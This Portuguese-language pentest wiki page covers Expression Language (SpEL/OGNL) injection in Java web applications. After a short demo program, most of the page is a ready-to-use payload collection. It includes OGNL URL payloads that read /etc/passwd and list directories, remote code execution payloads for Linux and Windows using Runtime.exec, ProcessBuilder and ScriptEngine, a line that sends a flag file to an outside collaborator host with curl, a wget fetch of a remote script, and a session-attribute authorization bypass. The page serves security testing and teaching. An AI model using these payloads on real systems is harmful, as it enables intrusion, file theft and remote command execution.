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EL - Linguagem de Expressão

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Informações Básicas

EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados).

Onde é usado?

1. Spring Framework: Segurança, Dados, …
2. Qualquer lugar onde os desenvolvedores o usem por meio da API SpEL
3. Para idiomas, pode ser usado em Java, Kotlin, Scala e outras tecnologias baseadas em JVM.

O EL é usado por várias tecnologias JavaEE, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Dependência e Contextos para Java EE (CDI). O EL também pode ser usado em ambientes independentes.

As aplicações Java são facilmente reconhecíveis porque tendem a usar extensões como .jsp ou .jsf, geram erros de pilha e usam termos como "Serverlet" nos cabeçalhos.

{% hint style="info" %} Dependendo da versão do EL, alguns recursos podem estar ativados ou desativados e geralmente alguns caracteres podem ser proibidos. {% endhint %}

Exemplo Básico

(Você pode encontrar outro tutorial interessante sobre EL em https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Baixe do repositório Maven os arquivos jar:

• commons-lang3-3.9.jar
• spring-core-5.2.1.RELEASE.jar
• commons-logging-1.2.jar
• spring-expression-5.2.1.RELEASE.jar

E crie o seguinte arquivo Main.java:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static ExpressionParser PARSER;

    public static void main(String[] args) throws Exception {
        PARSER = new SpelExpressionParser();

        System.out.println("Enter a String to evaluate:");
        java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
        String input = stdin.readLine();
        Expression exp = PARSER.parseExpression(input);
        String result = exp.getValue().toString();
        System.out.println(result);
    }
}

Compile o código a seguir (se você não tiver o javac instalado, instale sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Execute a aplicação com:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Observe como no exemplo anterior o termo {5*5} foi avaliado.

Exemplo de CVE

A partir do que você já viu, aposto que sabe o que está por vir. Se os desenvolvedores estão usando SpEL com entrada do usuário, precisamos criar uma carga útil com injeção. Vamos verificar uma que permite a execução remota de código (RCE). Foi criado como parte do exploit para CVE-2017-8046.

Consiste em 3 partes:

• cor preta - copia o resultado da execução do comando diretamente para o fluxo de saída da solicitação HTTP
• cor vermelha - obtém o tempo de execução do Java e executa o comando no sistema
• cor azul - String contendo o comando: cmd /c dir. Para torná-lo mais robusto, os caracteres individuais do comando são decodificados a partir de números.

Resultado da execução:

Cargas úteis

Ações básicas

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Detecção

• Detecção com Burp

gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• Detecção de J2EE

#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Aguarde 10 segundos

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Inclusão Remota de Arquivos

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Listagem de diretórios

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Explicação básica de RCE

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• RCE linux (Execução Remota de Código em Linux)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (não testado)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Mais RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspeção do ambiente

• applicationScope - variáveis globais da aplicação
• requestScope - variáveis de requisição
• initParam - variáveis de inicialização da aplicação
• sessionScope - variáveis de sessão
• param.X - valor do parâmetro onde X é o nome de um parâmetro http

Você precisará converter essas variáveis para String como:

${sessionScope.toString()}

Exemplo de bypass de autorização

${pageContext.request.getSession().setAttribute("admin", true)}

A aplicação também pode usar variáveis personalizadas como:

${user}
${password}
${employee.FirstName}

Bypass de WAF

Verifique https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Referências

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

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